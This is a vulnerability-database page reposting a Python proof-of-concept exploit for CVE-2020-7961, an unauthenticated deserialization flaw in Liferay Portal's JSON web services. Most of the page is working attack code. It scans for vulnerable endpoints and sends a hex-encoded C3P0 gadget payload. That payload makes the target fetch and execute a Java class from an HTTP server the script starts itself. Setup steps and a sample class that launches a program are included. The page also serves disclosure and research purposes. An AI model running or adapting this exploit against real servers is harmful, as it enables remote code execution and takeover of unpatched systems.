Data in Liferay Portal prior to 7.2.1 CE GA2 - Remote code execution

2020.07.12
Risk: High
Local: No
Remote: Yes
CWE: CWE-502


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Data in Liferay Portal prior to 7.2.1 CE GA2 - Remote code execution # Author: nu11secur1ty # Date: 2020-01-24 # Vendor: # Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7961 https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961 # CVE: CVE-2020-7961 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: readme from GitHUB [+] twitter.com/nu11secur1ty [Exploit Program Code] ''' Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 POC author: nu11secur1ty Download link: https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961 Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research Usage: python poc.py -h Gadget used: C3P0WrapperConnPool Installation: pip install requests pip install bs4 Create file LifExp.java with example content: public class LifExp { static { try { String[] cmd = {"cmd.exe", "/c", "calc.exe"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } javac LifExp.java Place poc.py and LifExp.class in the same directory. ''' import requests import threading import time import sys import argparse import binascii from bs4 import BeautifulSoup from datetime import datetime from http.server import BaseHTTPRequestHandler,HTTPServer from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # SET proxy PROXIES = {} #PROXIES = {"http":"http://127.0.0.1:9090"} class HttpHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','application/java-vm') self.end_headers() f = open("LifExp.class", "rb") self.wfile.write(f.read()) f.close() return def log(level, msg): prefix = "[#] " if level == "error": prefix = "[!] " d = datetime.now().strftime("%d/%m/%Y %H:%M:%S") temp = "{} [{}] {}".format(prefix, d, msg) print(temp) def find_href(body): soup = BeautifulSoup(body, "html.parser") return soup.find_all('a', href=True) def find_class(body, clazz): soup = BeautifulSoup(body, "html.parser") return soup.findAll("div", {"class": clazz}) def find_id(body): soup = BeautifulSoup(body, "html.parser") return soup.findAll("form", {"id": "execute"}) def get_param(div): param = "" param_type = "" p_name = div.find("span", {"class": "lfr-api-param-name"}) p_type = div.find("span", {"class": "lfr-api-param-type"}) if p_name: param = p_name.text.strip() if p_type: param_type = p_type.text.strip() return (param, param_type) def _do_get(url): resp = requests.get(url, proxies=PROXIES, verify=False) return resp def do_get(host, path): url = "{}/{}".format(host, path) resp = _do_get(url) return resp def _do_post(url, data): resp = requests.post(url, proxies=PROXIES, verify=False, data=data) return resp def do_post(host, path, data): url = "{}/{}".format(host, path) resp = _do_post(url, data) return resp def find_endpoints(host, path): result = [] resp = do_get(host, path) links = find_href(resp.text) for link in links: if "java.lang.Object" in link['href']: result.append(link['href']) return result def find_parameters(body): div_params = find_class(body, "lfr-api-param") params = [] for d in div_params: params.append(get_param(d)) return params def find_url(body): form = find_id(body)[0] return form['action'] def set_params(params, payload, payload_type): result = {} for param in params: p_name, p_type = param if p_type == "java.lang.Object": result[p_name+":"+payload_type] = payload result[p_name] = "1" return result def pad(data, length): return data+"\x20"*(length-len(data)) def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE): p = set_params(params, PAYLOAD, PAYLOAD_TYPE) resp = do_post(host, api_url, p) banner = """POC author: nu11secur1ty\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research Debug: nu11secur1ty https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961 REQUIREMENTS Python3""" def main(): print(banner) parser = argparse.ArgumentParser() parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True) parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws") parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091) parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1") args = parser.parse_args() bind_port = int(args.bind_port) bind_ip = args.bind_ip target_ip = args.target api_url = args.api_url endpoints = [] vuln_endpoints = [] PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8""" PAYLOAD_SUFIX = """740003466f6f;"}""" INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200) INTERNALB = INTERNAL.encode('utf-8') INTERNALHEX = binascii.hexlify(INTERNALB) PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX try: log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url)) endpoints = find_endpoints(target_ip, api_url) if not endpoints: log("info", "Vulnerable endpoints not found!") sys.exit(1) except Exception as ex: log("error", "An error occured:") print(ex) sys.exit(1) try: server = HTTPServer((bind_ip, bind_port), HttpHandler) log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port)) th = threading.Thread(target=server.serve_forever) th.daemon=True th.start() for e in endpoints: resp = do_get(target_ip, e) params = find_parameters(resp.text) url_temp = find_url(resp.text) vuln_endpoints.append((url_temp, params)) for endpoint in vuln_endpoints: log("info", "Probably vulnerable endpoint {}.".format(endpoint[0])) op = raw_input("Do you want to test it? Y/N: ") if op.lower() == "y": exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE) log("info", "CTRL+C to exit :)") while True: time.sleep(1) except KeyboardInterrupt: log("info", "Shutting down...") server.socket.close() except Exception as ex: log("error", "An error occured:") print(ex) sys.exit(1) if __name__ == "__main__": main() [Vendor] JSONWS [Product] JSON [Vulnerability Type] - Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS). [References] Disclaimer: The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top